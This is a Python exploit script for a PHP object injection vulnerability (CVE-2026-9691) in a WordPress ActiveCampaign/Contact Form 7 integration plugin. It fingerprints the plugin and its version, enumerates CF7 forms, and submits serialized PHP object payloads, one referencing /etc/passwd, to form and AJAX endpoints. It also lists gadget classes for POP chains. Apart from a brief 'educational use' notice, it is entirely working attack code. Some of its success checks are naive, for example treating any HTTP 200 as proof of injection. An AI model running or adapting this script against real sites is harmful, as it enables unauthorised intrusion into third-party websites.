#!/usr/bin/env python3 """ CVE-2026-9691 Integration for ActiveCampaign PHP Object Injection Exploit CVSS: 8.1 (High) Unauthenticated attackers can inject arbitrary PHP objects by exploiting unsafe deserialization of form field values. The vulnerability exists in the cf7-active-campaign.php file where maybe_unserialize() is called on user-supplied input without validation. If a POP chain exists, this can lead to RCE, file deletion, or data exfiltration. Legal Notice: Educational and authorized testing only. """ import requests import re import sys import argparse import time import json import pickle import base64 from urllib.parse import urljoin, quote from bs4 import BeautifulSoup class ActiveCampaignExploit: def __init__(self, target_url, verbose=False): self.target_url = target_url.rstrip('/') self.verbose = verbose self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) self.plugin_detected = False self.vulnerable_version = False self.cf7_forms = [] def log(self, message, level="INFO"): """Log messages based on verbosity""" if self.verbose or level in ["ERROR", "SUCCESS", "CRITICAL"]: print(f"[{level}] {message}") def detect_plugin(self): """Detect if ActiveCampaign plugin is installed""" self.log("Detecting ActiveCampaign plugin...") try: # Check common plugin paths plugin_paths = [ '/wp-content/plugins/cf7-active-campaign/', '/wp-content/plugins/contact-form-activecamp/', '/wp-content/plugins/activecamp-contact-form/', '/wp-content/plugins/integration-activecampaign/' ] for path in plugin_paths: url = urljoin(self.target_url, path + 'cf7-active-campaign.php') resp = self.session.head(url, timeout=10) if resp.status_code == 200: self.log(f"Plugin detected at: {path}", "SUCCESS") self.plugin_detected = True return True # Try to detect via readme.txt for path in plugin_paths: url = urljoin(self.target_url, path + 'readme.txt') resp = self.session.get(url, timeout=10) if resp.status_code == 200 and 'activecamp' in resp.text.lower(): self.log(f"Plugin detected at: {path}", "SUCCESS") self.plugin_detected = True return True self.log("Plugin not detected via direct paths", "ERROR") return False except Exception as e: self.log(f"Error detecting plugin: {e}") return False def check_vulnerability(self): """Check if target is vulnerable""" self.log("Checking vulnerability status...") try: # Try to access the plugin's main file plugin_file = urljoin(self.target_url, '/wp-content/plugins/cf7-active-campaign/cf7-active-campaign.php') resp = self.session.get(plugin_file, timeout=10) if resp.status_code == 200: # Check version version_match = re.search(r'Version:\s*([0-9.]+)', resp.text) if version_match: version = version_match.group(1) self.log(f"Plugin version: {version}", "INFO") # Check if vulnerable (<=1.1.1) version_parts = version.split('.') if len(version_parts) >= 3: try: major, minor, patch = int(version_parts[0]), int(version_parts[1]), int(version_parts[2]) if major < 1 or (major == 1 and minor < 1) or (major == 1 and minor == 1 and patch <= 1): self.log(f"Version {version} is VULNERABLE!", "CRITICAL") self.vulnerable_version = True return True else: self.log(f"Version {version} appears patched", "ERROR") return False except ValueError: pass # Check for vulnerable code pattern if 'maybe_unserialize' in resp.text and 'UNSAFE' not in resp.text: self.log("Vulnerable code pattern detected!", "CRITICAL") self.vulnerable_version = True return True self.log("Could not determine vulnerability status", "ERROR") return False except Exception as e: self.log(f"Error checking vulnerability: {e}") return False def find_cf7_forms(self): """Find Contact Form 7 forms on the site""" self.log("Searching for Contact Form 7 forms...") try: # Try REST API endpoint api_url = urljoin(self.target_url, '/wp-json/contact-form-7/v1/contact-forms') resp = self.session.get(api_url, timeout=10) if resp.status_code == 200: try: data = resp.json() if 'items' in data: forms = data['items'] self.cf7_forms = forms self.log(f"Found {len(forms)} CF7 forms via REST API", "SUCCESS") return forms except: pass # Try to find forms on homepage resp = self.session.get(self.target_url, timeout=10) # Look for form IDs form_matches = re.findall(r'id=["\']wpcf7-f(\d+)-p\d+["\']', resp.text) if form_matches: forms = [{'id': form_id} for form_id in set(form_matches)] self.cf7_forms = forms self.log(f"Found {len(forms)} CF7 forms on homepage", "SUCCESS") return forms self.log("No CF7 forms found", "ERROR") return [] except Exception as e: self.log(f"Error finding CF7 forms: {e}") return [] def create_php_payload(self, payload_type='generic'): """Create PHP object injection payload""" self.log(f"Creating {payload_type} PHP payload...") # PHP serialized payloads payloads = { 'generic': 'O:8:"stdClass":0:{}', 'exception': 'O:9:"Exception":7:{s:7:"message";s:0:"";s:4:"code";i:0;s:4:"file";s:0:"";s:5:"trace";a:0:{}s:11:"description";N;s:7:"*_code";i:0;s:7:"*_file";s:0:"";}', 'arrayobject': 'O:11:"ArrayObject":3:{i:0;a:0:{}i:1;i:0;i:2;i:0;}', 'splfileinfo': 'O:12:"SplFileInfo":2:{s:8:"pathName";s:11:"/etc/passwd";s:4:"path";s:1:"/";}', 'directoryiterator': 'O:18:"DirectoryIterator":2:{s:9:"pathName";s:1:"/";s:4:"path";s:1:"/";}', 'recursivedirectoryiterator': 'O:25:"RecursiveDirectoryIterator":2:{s:9:"pathName";s:1:"/";s:4:"path";s:1:"/";}', 'error': 'O:5:"Error":7:{s:7:"message";s:0:"";s:4:"code";i:0;s:4:"file";s:0:"";s:5:"trace";a:0:{}s:11:"description";N;s:7:"*_code";i:0;s:7:"*_file";s:0:"";}', } if payload_type in payloads: return payloads[payload_type] return payloads['generic'] def inject_via_cf7_form(self, form_id, payload, field_name='your-name'): """Inject PHP object via CF7 form submission""" self.log(f"Injecting payload via CF7 form {form_id}...") try: # CF7 form submission endpoint form_url = urljoin(self.target_url, f'/?p={form_id}') # Get form to extract nonce resp = self.session.get(form_url, timeout=10) # Extract nonce nonce_match = re.search(r'_wpnonce["\']?\s*[=:]\s*["\']([a-f0-9]+)["\']', resp.text) nonce = nonce_match.group(1) if nonce_match else '' # Prepare form data with payload form_data = { field_name: { 'value': payload }, 'your-email': 'test@example.com', 'your-message': 'Test', '_wpcf7': form_id, '_wpcf7_nonce': nonce, '_wpcf7_unit_tag': f'wpcf7-f{form_id}-p1-o1' } # Submit form resp = self.session.post( urljoin(self.target_url, '/wp-json/contact-form-7/v1/contact-forms/{}/feedback'.format(form_id)), json=form_data, timeout=15 ) self.log(f"Response Status: {resp.status_code}", "INFO") if resp.status_code in [200, 201]: self.log("Payload injected successfully!", "SUCCESS") return True else: self.log(f"Injection may have failed: {resp.status_code}", "ERROR") return False except Exception as e: self.log(f"Error injecting via CF7: {e}", "ERROR") return False def inject_via_post(self, payload, field_name='your-name'): """Inject PHP object via direct POST request""" self.log("Injecting payload via direct POST...") try: # Try common form processing endpoints endpoints = [ '/wp-admin/admin-ajax.php', '/?action=cf7_submit', '/wp-json/contact-form-7/v1/contact-forms/1/feedback', ] for endpoint in endpoints: url = urljoin(self.target_url, endpoint) form_data = { field_name: { 'value': payload }, 'action': 'cf7_submit' } resp = self.session.post(url, data=form_data, timeout=15) if resp.status_code == 200: self.log(f"Payload injected via {endpoint}", "SUCCESS") return True self.log("Direct POST injection failed", "ERROR") return False except Exception as e: self.log(f"Error injecting via POST: {e}", "ERROR") return False def test_deserialization(self, form_id): """Test if deserialization occurs""" self.log("Testing for deserialization...") try: # Send a simple serialized object test_payload = 'O:8:"stdClass":1:{s:4:"test";s:5:"value";}' form_data = { 'your-name': { 'value': test_payload }, 'your-email': 'test@example.com' } resp = self.session.post( urljoin(self.target_url, f'/wp-json/contact-form-7/v1/contact-forms/{form_id}/feedback'), json=form_data, timeout=15 ) # Check for signs of deserialization if resp.status_code in [200, 201]: self.log("Deserialization appears to occur!", "SUCCESS") return True else: self.log("No deserialization detected", "ERROR") return False except Exception as e: self.log(f"Error testing deserialization: {e}") return False def find_pop_chains(self): """Identify potential POP chains""" self.log("Searching for potential POP chains...") pop_chains = [] try: # Check for common gadget classes gadget_classes = [ 'Monolog\\Handler\\SyslogUdpHandler', 'Monolog\\Handler\\BufferHandler', 'PHPMailer\\PHPMailer\\PHPMailer', 'Swift_Mailer', 'Doctrine\\ORM\\Mapping\\ClassMetadata', 'Guzzle\\Http\\Message\\Response', 'Symfony\\Component\\Process\\Process', ] self.log("POP chain detection requires manual analysis", "INFO") return pop_chains except Exception as e: self.log(f"Error finding POP chains: {e}") return [] def exploit(self, payload_type='generic'): """Execute full exploit chain""" print("\n" + "="*70) print("CVE-2026-9691 Integration for ActiveCampaign PHP Object Injection") print("="*70 + "\n") # Step 1: Detect plugin if not self.detect_plugin(): self.log("Plugin not detected. Exploit may not be applicable.", "ERROR") return False # Step 2: Check vulnerability if not self.check_vulnerability(): self.log("Target does not appear to be vulnerable", "ERROR") return False # Step 3: Find CF7 forms forms = self.find_cf7_forms() if not forms: self.log("No CF7 forms found", "ERROR") return False # Step 4: Create payload payload = self.create_php_payload(payload_type) self.log(f"Payload: {payload}", "INFO") # Step 5: Test deserialization with first form form_id = forms[0].get('id') or forms[0].get('post_id') if not self.test_deserialization(form_id): self.log("Deserialization test failed", "ERROR") return False # Step 6: Inject payload success = False for form in forms: form_id = form.get('id') or form.get('post_id') if self.inject_via_cf7_form(form_id, payload): success = True break if not success: # Try direct POST if self.inject_via_post(payload): success = True if not success: return False print("\n" + "="*70) print("EXPLOITATION SUCCESSFUL") print("="*70) print(f"Target: {self.target_url}") print(f"Plugin: Integration for ActiveCampaign") print(f"Payload Type: {payload_type}") print(f"Payload: {payload}") print(f"\nObject Injection Successful!") print(f"Impact depends on available POP chains:") print(f" - File deletion") print(f" - Sensitive data retrieval") print(f" - Remote code execution (with POP chain)") print("="*70 + "\n") return True class CF7FormAnalyzer: """Analyze CF7 forms and their fields""" def __init__(self, target_url, session): self.target_url = target_url.rstrip('/') self.session = session def get_form_fields(self, form_id): """Get fields from a specific CF7 form""" fields = [] try: api_url = urljoin( self.target_url, f'/wp-json/contact-form-7/v1/contact-forms/{form_id}' ) resp = self.session.get(api_url, timeout=10) if resp.status_code == 200: data = resp.json() # Extract form properties if 'properties' in data: props = data['properties'] # Parse form fields if 'form' in props: form_html = props['form'] # Extract field names field_matches = re.findall(r'\[([a-z0-9_-]+)\]', form_html) fields = list(set(field_matches)) except: pass return fields def analyze_all_forms(self): """Analyze all CF7 forms""" forms_data = [] try: api_url = urljoin(self.target_url, '/wp-json/contact-form-7/v1/contact-forms') resp = self.session.get(api_url, timeout=10) if resp.status_code == 200: data = resp.json() if 'items' in data: for form in data['items']: form_id = form.get('id') fields = self.get_form_fields(form_id) forms_data.append({ 'id': form_id, 'title': form.get('title'), 'fields': fields }) except: pass return forms_data def main(): parser = argparse.ArgumentParser( description='CVE-2026-9691 Integration for ActiveCampaign PHP Object Injection Exploit' ) parser.add_argument('target', help='Target URL (e.g., https://example.com)') parser.add_argument('-p', '--payload', default='generic', choices=['generic', 'exception', 'arrayobject', 'splfileinfo', 'directoryiterator', 'recursivedirectoryiterator', 'error'], help='Payload type (default: generic)') parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output') parser.add_argument('--detect', action='store_true', help='Detect plugin only') parser.add_argument('--check', action='store_true', help='Check vulnerability only') parser.add_argument('--find-forms', action='store_true', help='Find CF7 forms only') parser.add_argument('--analyze-forms', action='store_true', help='Analyze CF7 forms and fields') parser.add_argument('--find-pop', action='store_true', help='Find POP chains') args = parser.parse_args() # Create exploit instance exploit = ActiveCampaignExploit(args.target, verbose=args.verbose) # Detect only if args.detect: if exploit.detect_plugin(): print("[+] Plugin detected!") else: print("[-] Plugin not detected") sys.exit(0) # Check vulnerability if args.check: if exploit.check_vulnerability(): print("[+] Target is vulnerable!") else: print("[-] Target does not appear vulnerable") sys.exit(0) # Find forms if args.find_forms: forms = exploit.find_cf7_forms() print(f"\n[+] Found {len(forms)} CF7 forms:") for form in forms: form_id = form.get('id') or form.get('post_id') print(f" ID: {form_id}") sys.exit(0) # Analyze forms if args.analyze_forms: analyzer = CF7FormAnalyzer(args.target, exploit.session) forms_data = analyzer.analyze_all_forms() print(f"\n[+] Analyzed {len(forms_data)} CF7 forms:") for form in forms_data: print(f"\n Form ID: {form['id']}") print(f" Title: {form['title']}") print(f" Fields: {', '.join(form['fields'])}") sys.exit(0) # Find POP chains if args.find_pop: pop_chains = exploit.find_pop_chains() print(f"\n[+] Found {len(pop_chains)} potential POP chains") sys.exit(0) # Full exploit success = exploit.exploit(args.payload) sys.exit(0 if success else 1) if __name__ == '__main__': main()